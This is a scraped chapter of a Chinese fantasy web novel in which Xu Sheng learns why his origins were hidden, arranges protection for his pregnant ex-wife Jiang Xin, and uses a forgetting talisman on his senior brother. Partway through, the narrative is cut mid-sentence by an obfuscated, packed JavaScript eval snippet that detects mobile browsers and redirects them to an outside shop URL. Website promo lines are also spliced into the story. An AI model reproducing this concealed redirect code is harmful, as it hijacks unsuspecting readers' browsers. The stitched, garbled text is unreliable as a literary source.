徐生放在膝盖上的手攥紧。
**灭魂?
这是死士才会做的事情。
宁可魂飞魄散也不愿泄露半点秘密,甚至不愿让自己有一丝生还的可能。
这意味着,当年想要带走他的势力,庞大且恐怖。
“师尊懊恼不已,那是他老人家这辈子少有的失手。”
“线索断了,你的身世也就成了一个谜。只知道你身上穿着的襁褓用料极好,绝非普通人家。”
“后来师尊把你带回阁里,亲自为你起卦。”
“那一卦,算了一天一夜。最后师尊吐了一口血,只说了四个字,命中有劫。”
“所以让我去江城?”徐生声音有些干涩。
“对。师尊窥见了一丝天机,你在京都,是死局。”
“唯有去江城,借着那徐家混乱不堪的假凤虚凰之气,才能掩盖你原本的命格,避开那些人的追踪。”
“这二十年的蛰伏,是为了让你活着,也是为了等到那个拨乱反正的契机。”
吕星文深深地看了徐生一眼。
“看来,那个契机已经到了。季晟东体内的噬魂咒,还有那被人篡改的命格,都在说明一件事。”
“当年那些人,并没有放弃找你。或者是,他们已经在京都重新布局了。”
徐生沉默良久。
他本以为自己是个被父母遗弃的孤儿,却没想到。
两个邪修,两条人命,只为了掩盖他的来历。
徐生听完这段尘封往事,嘴角勾起。
“看来师尊那一卦也没算尽天机。所谓白云遮望眼的藏匿,终究是漏了风。”
“季晟东能找上门,甚至被人当枪使,这本身就是防线崩塌的证明。”
“未必。”
吕星文把玩着手里的茶杯。
“如果是那群当年逼死邪修的老怪物出手,你觉得仅仅是一个纨绔子弟季晟东这么简单?”
“他们若真锁定了当年的那个婴儿是你,现在站在你面前的,恐怕就不是我,而是满城的尸山血海了。”
“是你太耀眼了。之前为了收拾董良材那老狗,你动用了玄门手段。”
“也就是那一战,让藏在暗处的眼睛嗅到了味儿。”
“他们只是怀疑,还没确信,所以才有了季晟东这颗投石问路的棋子。”
徐生沉默。
确实,若是身份彻底暴露,来的绝不会是这种试探。
“现在的局面,优势在你。”
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
吕星文站起身。
“敌在暗,你在明,看似被动,实则不然。
“既然要去关外办事,就把季晟东那个废物一起带上。
“他是对方递过来的刀,也是我们顺藤摸瓜的绳。
“到了那苦寒之地,有些在京都不方便施展的手段,大可在那边用用。
徐生点头,这一点两人不谋而合。
“我已经让人备车了,死牢那边我会打招呼,这小子跑不了。不过离开之前,有件事得拜托大长老。
“讲。
“帮我盯着蒋家,确切地说,是护着蒋欣。
吕星文眉头一挑。
“那个女娃?我看过她的八字,虽然有些波折,但也就是个普通人的命格。
“你都已经跟她离婚断了尘缘,怎么还要护着?
徐生垂下眼帘。
蒋欣肚子里怀的是是玄牝阁少主的骨肉。
这事儿若是传出去,恐怕比季晟东带来的麻烦还要大上百倍。
“我刚才看了她的面相,隐约觉得有些不对劲。她的命格似乎也被人用某种手段遮掩过,就像当年的我一样。我不希望后院起火。
这理由半真半假,却足以让吕星文信服。
毕竟在这个节骨眼上,任何一点异常都可能致命。
“行。既然你开了口,这事儿我接了。只要我在玄牝阁一天,保她蒋欣平安无事。
吕星文答应得干脆。
徐生起身告辞。
走出密室,穿过长长的回廊,刚拐过转角,迎面就撞上了一道魁梧的身影。
一身灰色僧袍,脖子上却挂着道家的八卦玉坠,手里还捏着一串佛珠,嘴里念念有词却不是经文,而是在算账。
玄牝阁的大管家,大师兄杨晗日。
“无量……那个阿弥陀佛。
“小师弟,你怎么一脸煞气?老二那家伙刚才火急火燎地**牢提人,搞得鸡飞狗跳的,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223694|196300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知道省点灯油钱。
看着眼前这个既修佛又修道,却最爱操心柴米油盐的大师兄,徐生心头那股紧绷的弦稍稍松了一些。
“师兄,正巧我有事找你。
“喝酒去?
杨晗日眼睛瞪圆了。
“喝酒?你小子平时可是滴酒不沾的苦行僧做派,今天太阳打西边出来了?
“等等,咱们阁里的经费最近有点紧张……
“我请。去云雨楼。
“走着!
杨晗
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
日也不念佛了,拽着徐生的袖子就往外冲,生怕这小师弟反悔。
半小时后。
云雨楼,顶层雅间。
作为姬沁姝的地盘,这里的奢华程度在京都首屈一指。
杨晗日毫无高僧形象,左手一只鸡腿,右手一杯陈酿,吃得满嘴流油。
“唔,香!真香!这凡尘俗世虽然因果重,但这鸡是真不错。”
“小师弟,你今天这么大方,肯定没憋好屁,说吧,想让师兄帮你干啥?”
徐生端着酒杯,轻轻摇晃。
“师兄,蒋欣怀孕那事,除了孔文宇,你还跟谁提过?”
杨晗日嚼肉的动作一顿,咽下嘴里的肉,抹了一把油乎乎的嘴。
“这可是天大的秘密,师兄我嘴多严你不知道?”
“这事儿天知地知,你知我知,还有那个孔老板知。”
“放心,孔文宇那小子我敲打过,借他是个胆子也不敢乱嚼舌根。”
徐生微微点头,眼神稍安。
“那就好。”
“怎么?你怕泄露出去?也是,你现在的身份敏感,要是让人知道你有后了,那些躲在阴沟里的老鼠肯定闻着味儿就去了。”
“不过你放心,师兄我修的是闭口禅……唔?”
杨晗日话没说完,突然感觉眼前一花。
徐生的手太快了。
一张泛着淡金色光芒的符箓,不知何时已经贴在了他的眉心处。
那不是攻击性的符咒,而是一道极为偏门的——遗忘符。
“师弟,你……”
杨晗日瞳孔涣散,手中的鸡腿掉在盘子里。